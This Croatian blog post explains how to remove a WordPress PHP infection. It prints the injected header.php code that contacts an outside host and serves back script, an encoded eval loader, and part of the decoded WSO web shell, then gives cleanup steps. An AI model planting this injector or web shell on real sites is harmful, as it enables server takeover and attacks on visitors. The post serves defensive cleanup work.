ukloniti WordPress PHP Virus

Ovaj vodič predstavlja poseban slučaj kada blog WordPress bilo je zaraženo. Uklanjanje WordPress PHP virus.

Neki dan sam primijetio sumnjiv kod koji je izgleda PHP virus za WordPress. Sljedeći PHP kod bio je prisutan u header.php, prije retka </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Ovo je neki PHP kôd koji izgleda kao da pokušava dohvatiti sadržaj resursa s vanjskog poslužitelja, ali dio koji se odnosi na URL nije potpun.

Mehanizam rada je nešto složeniji i to čini WordPress PHP virus nevidljiv posjetiteljima pogođenih stranica. Umjesto toga, cilja na tražilice (Google) i implicitno dovodi do značajnog smanjenja broja posjetitelja zahvaćenih web stranica.

Pojedinosti o zlonamjernom softveru WordPress PHP Virus

1. Gornji kod prisutan je u header.php.

2. Na poslužitelju se pojavila datoteka wp-log.php u mapi wp-includes.

3. wp-log.php sadrži šifrirani kod, ali koji je relativno lako dešifrirati.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Dešifrirajte zlonamjerni kod s wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Čini se da je ovo zlonamjerna PHP skripta koja sadrži kôd za upravljanje autentifikacijom i radnjama na datotekama i direktorijima na poslužitelju. Vrlo se lako može vidjeti da ova skripta sadrži varijable poput $auth_pass (lozinka za provjeru autentičnosti), $default_action (zadana radnja), $default_use_ajax (prema zadanim postavkama koristi Ajax) i $default_charset (zadana postavka znakova).

Očito, ova skripta ima odjeljak koji provjerava HTTP korisničke agente kako bi blokirao pristup određenim web robotima, kao što su tražilice. Također ima odjeljak koji provjerava PHP sigurnosni način i postavlja određene radne direktorije.

4. Ako se wp-log.php pristupi u pregledniku, pojavljuje se web stranica s poljem ovjera. Na prvi pogled čini se da je to upravitelj datoteka putem kojeg se nove datoteke mogu lako učitati na ciljni poslužitelj.

Kako devirusirati web stranicu WordPress?

Ručni proces devirusiranja uvijek uključuje prvo otkrivanje i razumijevanje koja je ranjivost bila.

1. Generirajte sigurnosnu kopiju za cijelu web stranicu. To mora uključivati ​​i datoteke i bazu podataka.

2. Odredite otprilike koliko dugo virus postoji i pretražite web poslužitelj za izmijenjene ili novostvorene datoteke unutar približnog vremenskog okvira.

Na primjer, ako želite vidjeti datoteke .php stvoreno ili izmijenjeno u prošlom tjednu, pokrenite naredbu na poslužitelju:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

To je jednostavna metoda kojom možete otkriti datoteke WordPress zaražene i one koje sadrže malware kod.

3. Provjerite datoteku .htaccess sumnjivih direktiva. Izvršenje redaka dozvola ili skripte.

4. Provjerite bazu podataka. Sasvim je moguće da neki postovi i stranice WordPress uređivati ​​zlonamjernim softverom ili dodavati nove korisnici s ulogom administrator.

5. Provjerite dopuštenja pisanja za mape i datoteke. chmod şi chown.

Preporučena dopuštenja su: 644 za datoteke i 755 za direktorije.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Ažurirajte sve WordPress Plugins / WordPress Themes.

Povezano: Fix Redirect WordPress Hack 2023 (Virus Redirect)

Ovo su "osnovne" metode pomoću kojih možete devirusirati web stranicu/blog WordPress. Ako imate problema i trebate pomoć, odjeljak za komentare je otvoren.

Strastveni zaljubljenik u tehnologiju, s veseljem pišem na StealthSettings.com od 2006. godine. Imam bogato iskustvo s operativnim sustavima: macOS, Windows i Linux, kao i s programskim jezicima i platformama za bloganje (WordPress) i za internetske trgovine (WooCommerce, Magento, PrestaShop).

kako » WordPress » ukloniti WordPress PHP Virus
Ostavite komentar